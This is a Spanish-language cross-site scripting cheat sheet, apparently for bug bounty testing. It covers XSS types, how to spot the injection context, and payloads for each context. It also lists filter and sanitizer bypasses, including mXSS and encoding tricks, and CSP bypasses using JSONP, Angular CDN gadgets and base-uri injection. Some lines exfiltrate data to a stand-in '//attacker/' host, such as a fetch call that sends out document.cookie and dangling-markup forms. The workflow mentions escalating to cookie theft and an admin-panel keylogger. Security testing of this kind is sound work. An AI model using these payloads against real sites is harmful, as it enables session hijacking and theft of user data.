Tipos y dónde mirar primero
Reflejado: el input vuelve en la misma respuesta. Busca en parámetros GET/POST, headers (Referer, User-Agent, X-Forwarded-For), y errores que reflejan rutas.
Almacenado: persiste (perfil, comentarios, nombre de archivo subido, logs visibles en panel admin). Es el más rentable en bug bounty porque suele escalar a robo de sesión de admin.
DOM-based: el sink está en JS del cliente, no en el HTML del server. Enfócate en innerHTML, outerHTML, document.write, insertAdjacentHTML, eval, setTimeout(string), location, jQuery.html(), $.parseHTML. Traza el flow: sources (location.hash, location.search, document.referrer, window.name, postMessage) → sinks.
// grep rápido en bundles
curl -s https://target/app.js | grep -nE '\.(innerHTML|outerHTML|insertAdjacentHTML|write)|eval\(|new Function|setTimeout\([^,]*\)'
Identificación de contexto
Antes de disparar payloads, determina dónde cae tu input:
| Contexto | Cómo detectarlo | Cierre necesario |
|---|---|---|
| HTML texto | <div>INPUT</div> |
<script> o <img onerror> |
| Atributo entre comillas | value="INPUT" |
"> o " onmouseover= |
| Atributo sin comillas | value=INPUT |
espacio + onX= |
Bloque <script> |
var x='INPUT' |
';PAYLOAD// o </script> |
| JSON embebido | {"a":"INPUT"} |
</script> si el tag lo permite |
| href/src URL | href="INPUT" |
javascript: o data: |
| CSS | style="...INPUT..." |
;} + background:url(javascript:...) |
Payloads por contexto
HTML texto:
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<details open ontoggle=alert(1)>
Atributo (comillas dobles):
"><svg onload=alert(1)>
" autofocus onfocus=alert(1) x="
" onmouseover=alert(1) z="
Atributo sin comillas:
x onmouseover=alert(1)
x autofocus onfocus=alert(1)
Dentro de <script>:
';alert(1)//
';alert(1);var a='
</script><script>alert(1)</script>
\';alert(1)//
href/src:
javascript:alert(document.domain)
javascript:fetch('//attacker/?'+document.cookie)
data:text/html,<script>alert(1)</script>
DOM-based (hash/sink):
https://target/#<img src=x onerror=alert(1)>
https://target/?q=<svg onload=alert(1)>
Bypass de filtros
Blacklist de tags/palabras: usa casos alternativos, tags no tan filtrados y encoding.
<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<a href="javascript:alert(1)">x</a>
<iframe srcdoc="<script>alert(1)</script>">
Filtro de alert: usa confirm, prompt, print, o accede al objeto global.
<img src=x onerror=confirm(1)>
<img src=x onerror=window['ale'+'rt'](1)>
<img src=x onerror=self['\u0061lert'](1)>
<img src=x onerror=top['ale'+'rt'](1)>
Filtro de paréntesis / espacios: throw/onerror + template literals, backticks, o location=name.
<svg onload=alert`1`>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<img src=x onerror=location='javas'+'cript:alert(1)'>
Filtra <script> pero no eventos: prefiere onerror, onload, onfocus con autofocus, onanimationstart.
<style>@keyframes x{}</style><div style="animation-name:x" onanimationstart=alert(1)>
Encoding doble cuando el server decodifica una vez y el cliente otra: %253Cscript%253E → %3Cscript%3E → <script>.
mXSS: pasa por sanitizers con HTML que se re-parsea distinto:
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
Bypass de CSP
Primero inspecciona el header y reporta el bypass exacto. Mecanismos y ejemplos:
unsafe-inlinepresente: CSP inútil para XSS, payload inline directo.'nonce-XXX': si el nonce es predecible/estático o se refleja, reusarlo:<script nonce="XXX">alert(1)</script>.script-src 'self'con JSONP/endpoint: busca callbacks abiertos.
<script src="/api/jsonp?callback=alert(1)"></script>
- CDN en allowlist (Angular, cdnjs): usa gadgets conocidos.
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
base-uriausente: inyecta<base href="//attacker/">para redirigir rutas relativas.object-srcausente/*:<object data="data:text/html,<script>alert(1)</script>">.strict-dynamicsin nonce válido: si puedes ejecutar vía un script ya trusted, encadena.- Dangling markup cuando no puedes ejecutar JS pero necesitas exfiltrar:
<img src='//attacker/?
<form action='//attacker/'><input name=secret>
Verifica tu bypass con curl -sI y consola del navegador; recuerda que script-src-elem/script-src-attr pueden sobrescribir script-src.
Flujo de validación
- Reproduce el reflejo con un canary único (
xss7a9fz) y busca en la respuesta. - Determina contexto exacto (mira 50 chars alrededor).
- Prueba payload mínimo que ejecute (
alert(document.domain)siempre, noalert(1)— sirve para PoC y evita falsos positivos en sandboxes). - Escala a PoC real: robo de cookie no-HttpOnly,
fetcha tu listener, CSRF token exfiltrado, o keylogger en panel admin. - Documenta: URL exacta, request crudo, contexto, payload final, y screenshot de ejecución. En bug bounty, un
alertsin impacto demostrable suele bajarte la severidad.